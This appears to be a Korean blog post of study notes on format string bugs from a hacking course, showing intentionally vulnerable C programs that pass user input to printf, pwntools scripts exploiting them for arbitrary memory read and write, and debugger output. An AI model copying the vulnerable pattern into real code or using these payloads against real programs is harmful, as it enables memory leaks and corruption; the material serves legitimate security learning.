[Dreamhack] Memory Corruption: Format String Bug

Sisyphus·2022년 7월 18일
0

Dreamhack - System Hacking

목록 보기
28/49

포맷 스트링

%[parameter][flags][width][.precision][length]type


형식 지정자(spcifier)

인자를 어떻게 사용할지 지정



width

최소 너비를 지정. 치환되는 문자열이 이 값보다 짧으면 공백 문자 패딩



parameter

참조할 인자의 인덱스를 지정하고 필드의 끝을 $ 로 표기.

인덱스의 범위를 전달된 인자의 개수와 비교하지 않음.

#include <stdio.h>

int main() {
  int num;
  
  printf("%2$d, %1$d\n", 2, 1);  // "1, 2"
  
  return 0;
}

인덱스를 지정하여 두 번째 첫 번째 순서로 출력하게 해서 1, 2가 출력됩니다.



포맷 스트링 버그

포멧 스트링의 잘못된 사용으로 발생하는 버그

포맷 스트링을 사용자가 입력할 수 있으면 레지스터와 스택을 읽을 수 있고, 임의 주소 읽기 및 쓰기를 할 수 있습니다.



레지스터 및 스택 읽기

// Name: fsb_stack_read.c
// Compile: gcc -o fsb_stack_read fsb_stack_read.c

#include <stdio.h>

int main() {
  char format[0x100];

  printf("Format: ");
  scanf("%[^\n]", format);
  printf(format);

  return 0;
}

$ ./fsb_stack_read
Format: %p %p %p %p %p %p %p %p %p %p
0x1 0x7fa20268c8d0 0x7fa20268aa00 (nil) (nil) 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025 (nil)
───────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x0
$rbx   : 0x0
$rcx   : 0x007ffff7dcda00  →  0x00000000fbad2288
$rdx   : 0x007ffff7dcf8d0  →  0x0000000000000000
$rsp   : 0x007fffffffddb0  →  "AAAAAAAA %p %p %p %p %p %p %p %p"
$rbp   : 0x007fffffffdec0  →  0x00555555400790  →  <__libc_csu_init+0> push r15
$rsi   : 0x1
$rdi   : 0x007fffffffddb0  →  "AAAAAAAA %p %p %p %p %p %p %p %p"
$rip   : 0x0055555540076f  →  <main+85> call 0x5555554005e0 <printf@plt>
$r8    : 0x0
$r9    : 0x0
$r10   : 0x0
$r11   : 0x00555555400822  →   add BYTE PTR [rax], al
$r12   : 0x00555555400610  →  <_start+0> xor ebp, ebp
$r13   : 0x007fffffffdfa0  →  0x0000000000000001
$r14   : 0x0
$r15   : 0x0
$eflags: [zero carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00

%p 를 입력하니 레지스터 값이 출력되었습니다.
출력된 값들은 x64의 함수 호출 규약에 따라 rsi, rdx, rcx, r8, r9, [rsp], [rsp+8], [rsp+10] 입니다.



임의 주소 읽기

위에서 %p 를 여러 개 넣어보니 6번째부터는 스택을 읽게 되서 사용자의 입력을 8글자 씩 참조합니다.

그래서 %[n]$s 형식으로 그 주소의 데이터를 재 참조해 읽을 수 있습니다.

%[n]$s 은 n번째 인자를 String 형식으로 출력하는 형식지정자 입니다.

// Name: fsb_aar.c
// Compile: gcc -o fsb_aar fsb_aar.c

#include <stdio.h>

const char *secret = "THIS IS SECRET";

int main() {
  char format[0x100];

  printf("Address of `secret`: %p\n", secret);
  printf("Format: ");
  scanf("%[^\n]", format);
  printf(format);

  return 0;
}

#!/usr/bin/python3
# Name: fsb_aar.py

from pwn import *

p = process("./fsb_aar")

p.recvuntil("`secret`: ")
addr_secret = int(p.recvline()[:-1], 16)

fstring = b"%7$s".ljust(8)
fstring += p64(addr_secret)

p.sendline(fstring)

p.interactive()

$ python3 fsb_aar.py
[+] Starting local process './fsb_aar': pid 255
[*] Switching to interactive mode
[*] Process './fsb_aar' stopped with exit code 0 (pid 255)
Format: THIS IS SECRET

───────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x007ffe1e2f8860│+0x0000: 0x2020202073243725     ← $rsp, $rdi
0x007ffe1e2f8868│+0x0008: 0x00564ad3800854  →  "THIS IS SECRET"
0x007ffe1e2f8870│+0x0010: 0x0000000000000000
0x007ffe1e2f8878│+0x0018: 0x0000000000000000
0x007ffe1e2f8880│+0x0020: 0x0000000000000000
0x007ffe1e2f8888│+0x0028: 0x007f58f0a06710  →  0x007ffe1e314000  →  0x00010102464c457f
0x007ffe1e2f8890│+0x0030: 0x007f58f059d687  →  "__vdso_getcpu"
0x007ffe1e2f8898│+0x0038: 0x0000000000000340

gef➤  x/s $rsp
0x7ffe1e2f8860: "%7$s    T\b\200\323JV"

p.sendline(fstring) 을 하면 rsp%7$s 가 들어가고 rsp+8addr_address 가 들어가게 됩니다.

printf 함수에 %7$s 가 인자로 들어가게 되면 7번째 인자인 rsp+8 을 문자열 형식으로 출력하게 되고 그 결과 addr_secret 이 출력되게 됩니다.



임의 주소 쓰기

포맷 스트링에 임의의 주소를 넣고 %[n]$n 의 형식 지정자를 사용하면 그 주소에 데이터를 쓸 수 있습니다.

%[n]$n 은 n번째 인자에 지금까지 출력한 문자열의 길이를 저장하는 형식 지정자 입니다.

// Name: fsb_aaw.c
// Compile: gcc -o fsb_aaw fsb_aaw.c

#include <stdio.h>

int secret;

int main() {
  char format[0x100];

  printf("Address of `secret`: %p\n", &secret);
  printf("Format: ");
  scanf("%[^\n]", format);
  printf(format);

  printf("Secret: %d", secret);

  return 0;
}

#!/usr/bin/python3
# Name: fsb_aaw.py

from pwn import *

p = process("./fsb_aaw")

p.recvuntil("`secret`: ")
addr_secret = int(p.recvline()[:-1], 16)

fstring = b"%31337c%8$n".ljust(16)
fstring += p64(addr_secret)

p.sendline(fstring)
print(p.recvall())

$ python3 fsb_aaw.py
[+] Starting local process './fsb_aaw': pid 334
[+] Receiving all data: Done (30.63KB)                                                                                  [*] Process './fsb_aaw' stopped with exit code 0 (pid 334)
b'Format:
\x01     \x14\x10\xa0I\x97\x7fSecret: 31337'

gef➤  x/s $rsp
0x7ffe51432980: "%31337c%8$n     \024\020\200`\231U"
gef➤  x/s $rsp+8
0x7ffe51432988: "8$n     \024\020\200`\231U"
gef➤  x/gx $rsp+16
0x7ffe51432990: 0x0000559960801014

p.sendline(payload) 를 하면 rsp ~ rsp+8%31337c%8$n 이 들어가고 rsp+16addr_secret 이 들어가게 됩니다.

printf 함수에 %31337c%8$n 가 인자로 들어가게 되면 %31337c 때문에 31337 길이로 문자열을 출력하게 되고 31337 이라는 문자열 길이가 8번째 인자인 rsp+16 에 들어가게 됩니다.

그래서 addr_secret 의 값이 31337 로 변조됩니다.

0개의 댓글